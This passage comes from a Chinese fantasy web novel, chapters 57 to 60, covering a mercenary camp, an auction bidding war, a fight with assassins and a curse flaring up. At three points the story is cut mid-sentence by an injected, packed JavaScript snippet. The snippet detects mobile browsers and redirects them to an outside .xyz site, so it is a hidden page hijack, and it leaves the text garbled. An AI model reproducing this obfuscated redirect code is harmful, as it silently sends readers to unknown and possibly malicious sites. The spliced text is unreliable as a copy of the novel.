在转过一个拐角见到谢止沉的那一刻刀语心莫名有种恍如隔世的感觉,她站在原地而谢止沉先一步朝她走来,见面的第一件事就是帮刀语心治愈好脸上的伤痕。 此时此刻在网络上争辩到底谁会赢的网友们,大概没有想过之后在半决赛厮杀的两人正在并肩逛街。 混乱地界也不全是混乱,至少在部分帮派的治理下还是存在普通人的生存空间,前些日子忙着比赛和猎杀悬赏榜单交替的刀语心,也是在当下才有些许闲暇的时光。 混迹在人群中的刀语心,享受着难得的安宁。 比起无名镇,混乱地界虽然缺少秩序,但也多了些自由带来的多样性,街道的两侧是各式各样拥有霓虹灯的店铺,遇到感兴趣的刀语心会去逛一圈。 “你的面具坏了,要不要重新买一副?” “好啊。”还是按照之前的约定由谢止沉选,不过为了避免被人认出来,刀语心回去还得改造一番。 但就在即将回去的前夕,二人面前出现了不速之客。 “就是她,对吧?”被询问的那人点头。 57. 第 57 章 得到确认后,那个语气粗犷、眉目凶狠的女性走到刀语心面前,锐利的目光毫不掩饰地审视着刀语心。 “年轻人,这钱是你给的吧?”她掂了掂钱袋的重量说着,虽是反问,但语调中充满着反对的意味。 对方接下来的动作印证了刀语心的猜想。 看上去是大姐头的女性将把装着银币的钱袋递回刀语心手里,这是昨天的赎金,现在被完完整整地归还到她手中。 “我谢谢你的一片好心,善良从不是坏事。”大姐头知道这笔赎金并不是出于字面上的作用,“但你不该让他们不付出任何代价就得到好处。” “你大概家大业大不缺钱财,但你随便给钱的后果就是他们会觉得抢劫才是正道。”说着,她看向身后的混混领头,眼神中满是恨铁不成钢的意味,“这样的善良只会将他们推进火坑。” 言尽于此,大姐头转身带着领头几人打算离开。 无言看着对方离开的背影,刀语心看到她身上还有不少伤口没来得及处理,像是经历了一场恶战又来给领头几人收拾烂摊子。 看着手中的钱袋,这点钱对如今的刀语心来说的确不算什么,她的思虑也没有这么深远。 但现在想来的确是她太过轻率地施舍了。 在刀语心身旁的谢止沉察觉到她想帮助对方,但还有些犹豫,对此他只是轻声说着:“去吧,我们一起。” 闻言,刀语心收起银币,朝他们离开的方向喊道:“等等。” 听见声音的大姐头转身看向刀语心。 “或许……我们可以来点利益交换?”她有些不确定地说着。 在大街上谈论有些利益往来有些太过生硬,所以大姐头带着刀语心二人到她的营地。 从五颜六色的霓虹灯下离开,他们一步步走入漆黑的街巷,比起先前的繁荣街市这里连灯光都很少亮起,不是因为没有接通电线,而是这里的住户支付不起高昂不合理的电费。 大姐头的名字是萧青,至少在几个月前她还是孤身一人的雇佣兵,只是一时心软收留一个人后,她的院落就成了无家可归者的聚集地。 这些被遗弃的人都是些老弱病残,为了不被榨取生命最后一点价值,他们只能找寻一处避风港。 在唯一能带来温暖的篝火边聚集着些孩童,他们靠在萧青身边,眼神好奇地打量着刀语心这个新人,而谢止沉在救治那些受伤以及具有慢性病的患者。 “说真的,我有些后悔。” 就着火焰点了一根烟,萧青略微沙哑沧桑的语调顺着夜风传到刀语心耳中。 过去身为四十级枪兵的萧青,只要一个月接一两个任务生活上就完全没有问题,手上还能积攒许多余钱,但如今要养活一大群人就实属不易。 后来她偶然间救下被帮派针对的混混几人,他们主动提出帮她分担压力,这才将现状维持更久些。 孩童们会主动做些力所能及的事情,老人会接一些针线活,似乎一切都在向好的地方发展,只是这份安宁太过脆弱,一点外力就能将其轻易击碎。 在混乱地界意外就如同家常便饭,先是说好的任务酬金被二道贩子克扣减半,再接着是混混几人的死对头开始莫名针对他们,老人和孩子也集体患病一下子就掏空本就不多的积蓄,连维持生存都变得困难。 萧青又在外紧急出任务,混混领头脑袋一热就带着几人去拦路打劫,没承想还真的拿到了钱。 “大姐头,我真错了。”领头和他的装死智将站在一起认错,“姑……这位姑娘,我们也对不住你。”在姑奶奶脱口而出的那一瞬间,领头被智将一推搡改了口。 挥挥手让他们一边去,萧青和刀语心谈起交易内容。 “我不知道我们能给你提供什么样的价值,但只有需要就尽管开口。”谢止沉的治疗已经帮上他们很多,如果是外面请来的医师光是治疗费用就要一大笔。 如果让他们什么都不做萧青肯定过意不去,刀语心已经想好索取的筹码。 “我们是最近才来到这里的,之前混乱地界有发生过异象,或者有什么有用的消息吗?”流光只能收集到当下的消息,无法获得从前那些发生过然后再没人提起的信息。 “我知道!”在旁边偷听的智将上前邀功。 “你们一定是为了大赛奖品而来的吧?第一的那个奖励其实他们根本不知道怎么使用,但是宝贝得不得了,据说他们举办这个比赛只是为了找到识货的人,其实根本不打算交出去。” “还有还有,之前混乱地界有个疯子,死前总在嘴里念叨着什么门,不过没人知道他说的门在哪里。”说完他做了个汇报完毕的动作退了回去。 对此萧青只是无奈说道:“虽然看上去有些不着调,但他的消息总是正确的,这是他天赋的一种体现。” 寒风吹过,领头将萧青的外套递给她,在披上的那一瞬刀语心的视线被上面的臂徽吸引。 “这个徽章是什么?我好像在哪里见过。” “是我以前的队徽。”提起从前萧青眼中有一抹复杂闪过。 那个臂徽的形状在刀语心脑海中被不断描摹,很快她就在记忆中找到了有些相似的物件,她在裴瑛身上见到过更复杂些的臂徽。 “虽然有些冒昧,不过我还是想问问你以前是军团的人吗?” “我是。” 听到意料之中的回答,犹豫片刻后刀语心将心中的疑问说出:“萧青姐,你认识裴瑛吗?” 听到这个熟悉的名字萧青被过去的记忆冲击,她毫不掩饰地直直怔住,许久后她开口回应:“当然……她是我的队长。” 正是因为萧青身上有和裴瑛相似的地方,刀语心才会生出想要帮助他们的想法。 不过她明白这份巧合大概并不是军团的缘故,同为军团人士,之前遇到的军团长可不是什么好人,那么其中的关联性便落在裴瑛身上。 刀语心曾听裴瑛提起过她在军团的过去,那些荣耀、枷锁,更重要的是她视作家人的队友,这正是刀语心直截了当询问的原因所在。 “你见过她,对吗?”只消片刻,萧青就明白裴瑛还活着的事实,“她现在在哪里?她……还好吗?” 一个接一个的问题发出,面对从未设想过的意外之喜,萧青有些不可置信,但她内心又迫切地希望这则喜讯不是作假,她想要得到那个答案,她在意之人还安好地活在世界上的某个地方。 “她很好。” 听到这个肯定的回答后萧青自肺腑中发出大笑,她边笑边落泪,身旁的孩子为她擦去泪水。 “我要去找她。”听着刀语心的描述,萧青知道无名镇是和混乱地界完全不同的地方,因为无名镇有裴瑛的存在,也正是裴瑛在那里,才会让萧青心生向往。 “不过还麻烦你不要提前告诉她,多年未见,我也想给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“在看什么?”身侧传来谢止沉的声音。 “交易所的邀请函——”转眼,刚才还空无一物的桌上出现了两张邀请函和两份专门制作的假面,刀语心拿起查看,语气中是毫不掩饰的惊喜:“你什么时候准备的?” “之前偶然间听到,就去看了一下。”刀语心明白过程肯定没有谢止沉说得这么轻松,按照网友的说法,邀请函万金难求。 巧合大多时候都是蓄谋已久,大概从刀语心生出想法的那一刻之前谢止沉就开始行动,即便她什么都没说,他也知道她一定会去做。 这种无需任何言语表述的默契和信任,很难不让刀语心扬起笑容。 “滴水之恩当涌泉相报,这邀请函又是千金不换……四舍五入下来就等于,你看上什么我就买什么给你。” “买不到的我再想想办法。”脑袋中冒出某些毫无道德场面的某人如是补充。 听到此番跳跃言论的谢止沉只是同样回以笑容应下:“好啊。” 无论刀语心想做什么,他都会和她一起。 离正式开赛还有几天此刻主办方还在忙着预热半决赛,休息一会准备提前出去踩点的两人,出门就遇到了房东。 她在路边和商贩交谈,手上拎着一串钥匙,似乎是刚收租回来。 虽说看起来没什么异样但刀语心知道她还在被精神操控,她转头看向谢止沉只见对方微微颔首。 随后刀语心就直直朝房东所在方向走去。 58. 第 58 章 “张姨,刚回来啊。”听到刀语心的声音,房东的身形先是一怔而后悠悠转身眯眼笑着对上刀语心。 “是啊,真巧,你们是有事要出去啊?” “嗯,得去买些东西。” 说着刀语心不断靠近,直到跨越正常社交距离的界限,她危险的声音不加掩饰传入房东以及操纵者的耳中。 “顺带清理掉某些烦人的苍蝇。” 操纵者后背一凉下意识就想操控着房东逃走,只是被刀语心拽住手腕,她力道不大,但无论如何都挣脱不开。 幕后之人一咬牙想要反过来侵蚀刀语心的神志,但从房东手中射出的法术轨迹在半空就被挡下,银白花瓣上的细微刻纹在闪烁流光。 见此情形房东眯着的眼睛也在惊慌下睁开,也就在这个瞬间两道赤色流光没入其中,瞬息间就将操纵者的力量抹去,释放一直以来被禁锢的房东意识。 房东本该跌倒在地的身体被刀语心稳稳搀扶,重新获得身体控制权后,她语气虚弱地向二人道谢:“真是谢谢你们小两口了……” 无论是否是因为他们自己才遭受劫难,房东明白如果不是这两个年轻人愿意帮她,她绝对在劫难逃。 听到这话谢止沉边回应不客气,边下意识将视线转向刀语心,只是她正在看着某个方向,大概在思考着隐藏在暗处的敌人,并没有在意话语中的某些字眼。 在送房东去她别处更安全的住所后,二人才离开。 邀请函上要求穿正装,谢止沉也早早帮刀语心和自己约好造型师,只是在整个过程中刀语心都处于沉默状态。 她不常用法术,但她能够感知到法术的凝聚流动和溃散。那力量给她的感觉似曾相识,和她过去有所关联的势力就那么几个,她对幕后之人的身份归属有个大致范畴。 况且如果目标是她的话,失去房东后对方绝对还会以某种方式再度出现。 即便离开无名镇,但过去的污浊依然如影随形。 邀请函在指尖不断旋转,这一举动昭示着主人的心情不是很好。 察觉这一情况后,谢止沉视线从指尖向上转移到那看不出喜怒的面容:“参加拍卖会是为了防风沙材料,但除此之外呢?你有什么想要的东西吗?”他在尝试转移刀语心的注意。 她想要什么? 除开那些短期内无法获得的东西,以及固有偏见—— “我想要宝石,还想要很多稀有材料。” 收集囤积是刀语心为数不多的癖好,在掌握资源点拥有不少资产后,原先对她而言遥不可及的目标似乎已经变得轻而易举。 “那二位客人可是来对了,这一场拍卖会交易所筹备很久,有不少好东西呢,我听说光是紫阶宝石就有数十种。”一旁给刀语心简单上妆的化妆师补充说。 这两人的底子都不用他们多加装点,只要站在那就是所有人的视线中心。 “大概时隔多久举行一次?” “要看搜集的品类是否足够,算起来大概是每半年举行一次。” 交易所名字普普通通,但实际上是联合财团把控这一部分地区经济的关键所在。 如此声势浩大的拍卖会绝不仅仅只为了拍卖,还是资源人脉信息等等利益交换的绝佳场所,要求着装也有一部分是这个原因。 选了一副暗色镶金遮半脸面具后,二人动身离开。 “这次我们应该不用装作不认识了吧?” “当然。” 说着刀语心挽上谢止沉的手,她观察其他做伴的人都是这样,视线一直停留在别处的她自然也没有注意到谢止沉上扬的嘴角。 混乱地界不是所有地方都很混乱,至少相对而言在一些繁华片区,碍于更高权力者的存在大部分人不敢也不会造次。 参加拍卖会的许多人出于自身目的会佩戴相关势力的标志性物件。 但刀语心二人身上并没有任何象征身份地位的标识,即便看起来就气度不凡,也有不少人对此议论纷纷,不过大多数都保持观望状态。 他们在等待着一个足以确认对方地位高低的时机。 在会场入口,交易所的经理先是目光淡淡地扫过,但随后意识到什么主动迎上前去。 “欢迎二位。” 在简单看过一眼邀请函后,经理让侍从引路,“请去往十三号包间。” 迟家少主特地提点的人,交易所的人可不会怠慢,刀语心也明白大概是迟明煦提前交代过。 但也拦不住某些人打肿脸充胖子。 武器可以存放在空间戒指中,但会被工作人员在入口处施加封印,进入交易所内部后就无法从中取出或放入任何东西。 不过在流光蜿蜒而过后,先前还牢固的封印就变成薄纸一张。 “当心。” 突如其来间,刀语心被谢止沉拉进怀中,有人不知为何正正朝她撞上。 路这么宽,对方是故意的。 “不知道看路吗?”那人甚至先声夺人,他看刀语心和谢止沉二人并不眼熟,明显不是混乱地界的人,中央城也没听说过有这号人,所以理所应当地认为他们是从小地方来的软柿子。 “不长眼的东西是你。”谢止沉语调冰冷刺骨,同时刀语心那双深不见底的眼眸扫过,这人无端冷颤。 只是很快他将其化为愤怒,在剑拔弩张之际经理及时赶来,这公子哥便没有再惹是生非。 他是某个小势力的继承人,最近风头正盛。 他精心为这场名不副实的宴会准备良多,这番举动是他见不得有人虚张声势,更见不得有人夺走属于他的目光,他想要借机踩着别人抬高自己的身位,只是明显找错对象。 “真是不好意思打扰到二位。” “狗眼看人低,我理解。”刀语心顺着经理的话淡淡说道。 “喂!你骂谁呢?”那故意撞人的公子哥还在继续嚷嚷。愚笨的家伙并不明白经理救的可不是岌岌可危的场面,而是他的狗命。若不是经理及时出现,在刀语心得到需要的材料后,他无疑会死在这里。 只是他并不珍惜机会。 公子哥特意找人打听到刀语心所在包间:十三号,他打算让这两个外乡人知道什么叫作财力雄厚。 相比于某些鼠目寸光之辈,交易所经理自然不是那种喜欢专挑软柿子下手的人,而且他也深知面前这二人不是什么好惹的角色,他看过无数宝物,无论是对方谁身上的配饰,都不是凡物。 再者,在看到刀语心的第一眼,他就想起迟家少主让人给他带的嘱咐,说是有一位朋友会来这里。 虽然没有直接证据,但经理有九成九的把握迟明煦口中的朋友就是眼前这位少女,他自然安排最上等的包间,让人介绍整个拍卖流程。 整个拍卖会场呈半圆状,所有人的目光都可以投射聚集在最中央的拍卖台上,圆心处是半圆展台从最低处往高递增,最高处是包间。 跟拍需要举牌示意,包厢内的宾客则需要轻触光幕传输信号,连续按下两次便是一直加码直到拍下为止,再按一下便会停止。 大抵是为了营造神秘的氛围和聚焦主台,其余地方灯光都有些昏暗。 预计的货品还需要等待很长一段时间,刀语心准备先随便拍个试试,她的视线扫向展台上的细纹壳。 “缚风螺,掌控微型风暴的自然奇迹,能通过内部产生的气流模拟微型风暴。”听着台上拍卖师的介绍,刀语心轻触按钮,她不在乎这东西到底是什么,她只是单纯想拍下来。 包厢第一次这么早出手还是少见,毕竟其他人都自诩高贵不会在刚开始的时分就竞相争抢,但更罕见的是,已经超出市场平均价,但是还有人在继续跟拍。 刀语心看了一眼,是七号包厢。 对方一直在和她抬价,面对如此无聊的局面刀语心有些倦怠地垂眼,她现在还没起什么争抢的心思只是玩一玩,她收手不再继续。 “困了吗?” “有一点。” 为了让自己保持清醒并消磨时间,刀语心空旷的掌心中出现一块还未经雕琢的璞玉,她边雕刻边等待,而谢止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846634|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉趁着她雕刻停下的间隙,投喂先前侍从送上的果盘。 拍卖品十个一组,主办方显然刻意安排过越往后的便越吸引人。 “星泪晶砂,浩劫陨石坠落遗留下的沙状结晶,锻造高阶装备的不二之选!” 抬价一段时间快落锤之际,刀语心按下跟拍,按理来说这已经是最高价或许会有之前的人接着拍,紧接着,又有人在她的下一刻抬价,但奇怪的是这人和之前叫价的人毫无关联。 她抬眼看去,依然是之前的七号包厢。 刀语心一瞬就明白对方是谁,以及为什么要这么做的缘由。 那就玩玩好了,她想。 她连续轻点两次,不再选择停手而是不断加码,直到价格翻了几番,她依然没有停止的打算。 “恭喜十三号!” 接下来的第二次亦然,对方在察觉这一点后,甚至将抬价对垒的时间拉得更长,但刀语心还是没有收手。 第三次,对方开始犹疑,担心这是一次针对自己的刻意报复,提前结束跟拍。 直到第四次,他发现仍是如此。 七号包厢内的公子哥乐意见得,他像是参透某种规律后洋洋得意,认为自己找到了某种致命缺陷一般,脸上张扬出笑意。 他一定要让对方输个彻底,让他们认识到自己的不自量力! 身边的人劝他收手,但他只是不屑一顾,他不相信对方能够有如此多足够支付的财力,但相信对方会和自己死磕到底。 “她绝对会跟上。” 只不过—— “七十万金币第一次,七十万第二次……七十万,第三次!让我们恭喜七号包厢!” 这次没有。 那公子哥猛然从椅子上站起,前几次十三号包厢所支付金额的总和甚至没有这一次他需要支付的三分之一。 该死的!!!他被算计了?他输了?不,这不可能!他一定要搬回来! 没有理会他复杂的内心戏,下一个拍卖品还在继续拍卖,他带着丝丝血线的眼珠转动,十三号包厢再次出价。 而他毫不犹豫地双击按钮,开始再一轮交锋,只是失败已经板上钉钉。 八十万、一百三十万、两百万…… 在此期间,一号包厢甚至想帮这公子哥拍下终止这场闹剧,甚至让侍从给刀语心带话,让她给自己一个面子,只可惜—— 刀语心不答应。 “面子?他的面子对我而言有什么用?”修长的指节在按钮旁不断轻敲,谁也无法猜透她什么时候会结束跟拍。 十三号再次出价! 在身边之人劝阻的情况下,公子哥短暂恢复理智,只是随着房门打开一段语音播放后,他被再次激怒。 “怎么?你怕了?还是钱不够了?” 在他选择跟上加码后,他也彻底失去一切。 “乌少爷,你的卡无法支付。” “十三号包厢的也全部支付了吗?我不相信!” 听到这话,经理只是勾起嘲笑的嘴角:“当然,那位女士可是十分爽快。” 如果不是有足够的钱财,这番此起彼伏的争抢抬价早就会被交易所的人视为恶意干扰拍卖会,进行这么久的原因也是因为刀语心打钱的速度很快。 毫无办法的公子哥只能认栽,他知道自己不可能和交易所赖账,只能老老实实付一半违约金,然后灰溜溜地逃走。 愤怒、恐惧、不解种种情绪交织在一起,他浑身颤抖,在某一刻他仿佛听见那个戴着面具的乡下人对他淡淡轻语:“蠢货。” 公子哥的光荣事迹很快就在网络上传开,有人看到他作为丧家之犬面如土色地离开交易所走入黑夜,但很快,他听到不同寻常的声音。 “你不想让她付出代价吗?”闻言,他抬头但面前空无一人,只余他的眼睛闪过血红。 在一号包厢内,混乱地界的头领也同为大赛主办人吩咐自己的手下:“去看看那人究竟是什么来头。” 某处黑暗中也有一道声音响起:“今晚动手?行。” 59. 第 59 章 “你这次想要个什么样的?” “只要是你做的,我都很喜欢。” 结束拍卖会回去的路上他们二人一问一答,谢止沉很珍惜和刀语心相处的片刻,这是只属于他们两个人的平静时光,但缠绕在他指尖上的流光和他传达的消息,表示这一晚绝不会平静。 他轻叹一声,说:“有人来了,而且不止一批。” 暗红眸色中闪过危险,似是担心,但更多的则是被打扰独处氛围的厌恶感。 “那就逐个解决吧。” 11号口中的同胞,控制房东的幕后者,嫌疑很大的雪姬……以及那些因为这场拍卖会尾随而来的老鼠们。 价值万金的红宝石被抛上高空折射出无数道璀璨的光线,光滑的切割面依次闪过刀语心、谢止沉,还有更多在夜色中潜藏的身影。 一抹更加诡谲的赤红将战场切割,站在刀语心面前的只剩下前不久刚见过面的争抢拍卖品的公子哥,他连姓名都不曾知晓,就先一步对刀语心施加以无数的恶意。 如今,他被煽动吞下那些恶意,双眼血红嘶吼着朝刀语心发起进攻。 对付一个理智全无的怪物,对刀语心并没有什么难度可言,不过这也不是正餐,而是诱饵。 在他死去的瞬息,一个血红不祥的术法从他身躯中绽开,而在下一刻,一个近乎鬼魅的身影就出现在刀语心面前。 “你在这里啊。” 比起传入耳中的话语,刀语心更早感受到的是那不加掩饰的杀意,她反手举剑,抵挡从阴影中出现的杀机。 交锋见,刀语心最先看见的是兜帽下面血红与黑色斜十字相映的双眸,这大概就是11号口中的同胞。 也是同样的手下败将。 “说出你们的目的,你还能给自己留个全尸。”银白色剑尖没入他身躯半寸,只需再加少许力气,就可以将其彻底贯穿。 “目的?我们所做的一切都是为了将你更好地献给神明。”锋刃没入血肉传来某种诡异的声响,他不顾疼痛拉近和刀语心的距离,那几近癫狂的声音在刀语心耳畔响起。 “以尸体的方式。” 果然,这神令就是猎物的标记。不过早就预料到这一事实的刀语心,心情并没有那么糟糕,甚至,她脸上扬起同样肆意的笑。 “你身上有种子对吧?” 那双空洞可怖的眼紧紧盯着自己的猎物,在她的眼中对方并不是敌人,而是可口的食物。 刀语心不再掩饰自己的力量,无数猛烈致命的攻击朝他迸发,每一道异化之力形成的攻击都在叫嚣着将他吞入腹中。 只是都被轻而易举地躲过了。 “这么残破孱弱的力量,也不知道神明大人为什么会选中你。”那人嘲讽的话语传入刀语心的耳中,她对此置若罔闻,只是借着攻击间隙观察着对方身体上发生的变化。 他的伤势并没有立即复原,身上本源之力的气息也更加纯粹,看来他并不是和异形者同样的异种也不是祭司那样受到加持的人类,他是真正且完整的种子。 身为同类的他们此刻正在手足相残。 只是刀语心又怎么会在一开始就发起猛烈的进攻,那一切都是假象,让兜帽人放下警惕的假象。 两个疯子的交锋,比的就是谁更不要命。 确认没有什么太超出预期的复原能力后,她故意惊呼让对方以为抓住机会,随后侧身躲过对方以为一击必中的昭示,随后灭灵剑带着极度兴奋的异化之力又一次刺进对方同样的伤口之中。 生命的尽头,那人看着刀语心脸上不加掩饰出自本能的笑容。 “呵,难怪祂选中的是你……”说完后,兜帽人倒在血泊之中,身躯溃散缕缕光线聚合成莹白的种子。 收起脸上略显可怖的笑容刀语心将种子吸收后,步伐欢快地走到谢止沉身边,他那还剩下最后一个人。 见到刀语心,对方急忙扯下用来伪装的面罩说:“刀语心!我们见过的,你知道我是谁,如果我死了救世会绝对不会给你好果子吃。” 听到这话的刀语心站定,仔细打量一下这位将死之人的面容,在角落的记忆找到他的身份:救世会决策层木白。 在那场对救世会的报复过后,他曾和巫津一起打通讯威胁过她。 “啊,是你啊。”虽然认出了对方,但刀语心完全没有被话语吓到,她只是抬起剑移向他脆弱的脖颈处语气不善地询问,“不过,你真的以为救世会三个字是什么免死金牌吗?” 催命符似乎更为合适一些。 剑身上的冷光反射着木白因恐惧而在面颊上流下的汗液,他面部肌肉也因紧张而微微痉挛,神经性跳动。 “你以为,你真的能逃脱救世会的操控?” “垂死之时,可不是什么适合放狠话的环节,你在拖延时间,对吧?” 刀语心早就看见他藏在背后的手在终端操控什么,大概是在发送什么求救信号,“你想通知巫津,让他控制我的诅咒发作好让你逃出生天?” 被戳中心中所想的木白瞳孔在震颤,随即更恐怖的一幕在他眼前展现,刀语心的诅咒的确在巫津说好的预期中发作。 但不在预期中的是,刀语心完全不受诅咒的影响,她握剑的手没有一丝一毫的颤抖。 她已经掌握能够规避诅咒发作的手段,那么,知道这一事实的他唯一结局就是死去。 看着身上再次浮现的幽紫色咒印,感受着自己的行动变得有些僵硬,刀语心只是冷笑,然后毫不留情地砍断木白戴着终端的那只手臂,以免他将其他消息泄露出去。 “得延缓一下他的死期。”如果立即杀死木白,巫津就有可能会推算出她已经不再被诅咒所影响的事实,那么就会引发更严重的后果,第二重诅咒。 但听到这话的木白,脸上露出一种沧桑、悲凉、得意又扭曲的笑容。 因疼痛而狰狞的面容上,流下生理性泪水,但他依然忍受着剧痛开口,压抑住想要释放痛苦的尖叫,仰视着刀语心开口说道: “从我出发的那一刻开始……他就在我身上刻下刻印。” 精密的法术纹路遍布他的右眼,将接收到的画面完完整整地传输到千里之外的巫津面前。 本该连接在木白手腕上的终端已经脱落手腕掉在路边,一阵启动音后,刀语心讨厌的面容也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高脚杯放下发出轻响,主教拿起权杖起身,权杖最顶端镶嵌一枚鲜血欲滴的赤色宝石,在整个华贵房间中都是无比夺目的存在,只是现在谁也无暇欣赏。 “你现在唯一能做的,就是好好把握之后的出牌顺序。” 她起身离开,权杖杵地的声音渐渐远去,只剩下巫津独自一人撑着手在房间中沉思。 即便有了隔痛装置,诅咒带给刀语心的伤害依然存在。 “我们回去吧,我来处理他。”谢止沉出言,他上前将自己的手背轻碰刀语心的额头,感受到的是一片不同寻常的高温。 谢止沉很清楚刀语心现在的状态很不好,心情也是。 他痛恨对此无能为力的自己,刚才的对话谢止沉也记在心底,救世会发现刀语心掌握规避一重诅咒的方法,那么可以预见的未来之中他们绝对会触发第二重诅咒。 暗红双眸看着那些不祥的幽紫,它们还在不断移动侵蚀覆盖刀语心全身像是将她囚禁在无法逃脱的牢笼之中。 他绝不会让刀语心陷入更大的苦痛之中。 60. 第 60 章 刀语心的思绪有些阻滞。 银白发饰的清醒特性和发烧带来的昏沉互相干扰,在当下,清醒特性反而是一种阻碍痊愈的负担,这并不能带给她平静,而是一种混沌的麻木。 诅咒在持续发作,即便刀语心有阻隔装置不会再感受到痛苦,但诅咒也不会就这么轻易放过她。 还有那不知何时会刺入心脏的二重诅咒。 后续再无什么干扰,他们平安回到住处,刀语心想抬手按着自己额头跳动的神经,但却有些疲倦和无力。 谢止沉将刀语心扶到床上,又帮她取下发饰准备让她好好休息,只是在发饰离开失去特性加持的那一瞬,刀语心就感受到脑子像是被盖上一层薄纱,思考开始变得迟钝。 可她还有很多事情没做,这么想着,她就打算从床上挣扎着起身,但被谢止沉止住动作。 “你现在需要好好休息。” “……好吧。”挣扎无果的刀语心只好妥协着躺下。 说着她整个人也陷入床铺之中,她很少有如此脆弱的时候,除非重伤昏迷,绝大多数情况下刀语心都时刻保持清醒。 因为她永远不知道命运又会和她开什么样的玩笑。 见她一直不肯闭上眼睛,谢止沉温声安抚道:“好好睡一觉吧,不用担心,我在你身边。” 刀语心有些生锈的思绪在缓慢判断着这句话的可信度,不过还没彻底想清楚,她就先一步合上了眼睛。 本能先于思考得出答案,身边这人可以信任。 直到刀语心陷入沉眠,谢止沉也没有收回目光。 如同过去一样,他一直陪在她的身边帮她治疗因诅咒而萎缩的经脉,但他很清楚这一切都是治标不治本,虽说现在刀语心也在朝着目标一步步前进,但谁也不知道这中途还会出现什么意外。 他沉思半晌,用目光描摹着眼前之人的容貌。 最终,他伸手小心地与刀语心十指紧扣,一抹纯粹至极的赤红顺着治愈的光线隐入刀语心的躯体。 随着时间流逝和治疗加持,刀语心身上的温度降了下来,诅咒纹路也趋于稳定。 把被角盖好后,谢止沉轻手轻脚离开去厨房做饭,他一边看着有关诅咒的古籍一边煲着汤,虽然不处同一房间,但他时时刻刻注意着刀语心。 “咚咚。” 突如其来的敲门声让谢止沉移开视线,担心惊动沉睡中的刀语心,谢止沉快步去查看门外的动静。 “是你呀,你女朋友她今天不在吗?”门外的是前不久见过的房东,她手里拎着两大袋东西。 “她在,只是生病在房间里休息。”出于心中某种不可言说的缘由,谢止沉并不想否认房东的误解,但他也担心刀语心并不赞成,所以短暂犹豫后他还是出声解释着:“你误会了,她不是我女朋友。” 听到这话,房东阿姨只是露出一种微妙笑容:“我懂我懂,早晚都是嘛!” 说着,她将沉甸甸的食材递到谢止沉手中,“之前真是太感谢你们了,这是我一点小小心意,你一定要收下。我先走了,你好好照顾她。”将东西送到后,房东就笑着离开。 面对数量和种类都有些庞大的食材,谢止沉在思考怎么处理。 从相处的时日中他知道刀语心口味单一,是几道菜可以换着吃一辈子的类型,所以谢止沉并没有过多给她扩大菜系,只是偶尔添一两道她可能会喜欢吃的菜肴。 并不完全了解这个世界食材的他只能借助网络搜索教程,但有一部分食材怎么越看越不对。 “大补、滋养、壮……”谢止沉无言浏览完介绍然后关闭页面陷入思考,这并不是什么毒药,恰恰相反,这的确完完全全可以说是房东的一片好心。 只是……只是…… “你怎么了?” 睡醒的刀语心走出房间就看见谢止沉面色有些绯红得不太正常,她有些担心对方会不会是因为她的缘故被传染发烧。 “我只是有些热。”谢止沉强装镇定道,边说他边快步迎上前去,顺带挡住刀语心的目光在暗地里操控流光处理那些太过特别的食材。 虽然很感谢房东的心意,但就结果而言,他并不需要。 刀语心不想躺在床上,于是谢止沉给她拿了一条薄毯让她可以躺在沙发上等待。 睡一觉起来的刀语心已经回归清醒,只是诅咒咒文还没有彻底消退,她本该先着手设计防风沙道具,但在那之前,她更想先将拍下的红宝石制作成新的发带配饰。 她很想制作成像谢止沉送给她的发饰一样可以随意更改的类型,但她暂且不理解其中的运作装置,如果要彻底了解又只能把她的发饰拆解研究,但她有些舍不得,所以只能以量取胜。 而且见到好看的宝石她就会拍下来,她从一开始就是那么打算的。 每一颗宝石的切割和增益场都不同,相对于那块紫阶椭圆状烈焰宝石会提供温度,这一块则是幸运。 指节夹着宝石,红色光线经过无数次折射后没入她的眼眶。 欣赏片刻后刀语心翻着指南手册,学习一种新浮现的增幅刻印纹路,她打算将其雕刻在衬托宝石的金属扣上。 随着刻刀一次次划过,不多时,不同于上次那个简约大气风格的发扣,一个精妙绝伦又不显繁琐的红宝石发饰就制作完成。 恰好谢止沉已经准备好午饭来到刀语心身边,她将手中的红宝石发扣递到他手中。 “你觉得怎么样?如果不满意的话我还可以再改改。” “不用麻烦,这样就很好,我很喜欢。”虽然早在刀语心拍下红宝石的那一刻,谢止沉就隐隐约约有所预料,但此刻他将其拿在手中,心中还是无比雀跃。 “可以的话,我想麻烦你帮我现在就换上。” “当然可以。” 刀语心起身,将身上的薄毯放在一旁,手指掠过谢止沉的发丝,发扣就佩戴在束起长发的地方。 之前换下来的也并没有被轻视,被谢止沉认真放在盒子中收起。 饭后刀语心本该回到正轨,距离半决赛还有三天时间,她从交易所拿到预定和购买的材料,打算在这段空闲时日中把防风沙装置制作完毕交给萧青,帮助他们穿越沙漠去往无名镇。 本该如此,她却迟迟没有动手。 租下的两居室地方不大,所以客厅就被刀语心征用为锻造场所,自然谢止沉也能发现刀语心的迟疑和心不在焉。 收拾完卫生后他走到刀语心身旁弯腰轻声询问:“在想什么?” “我在想……灾厄是我带来的吗?” 那双空洞的眼看着手中的材料,她感受着矿物的重量,刀语心在心中,那么生命的重量又会是多少? 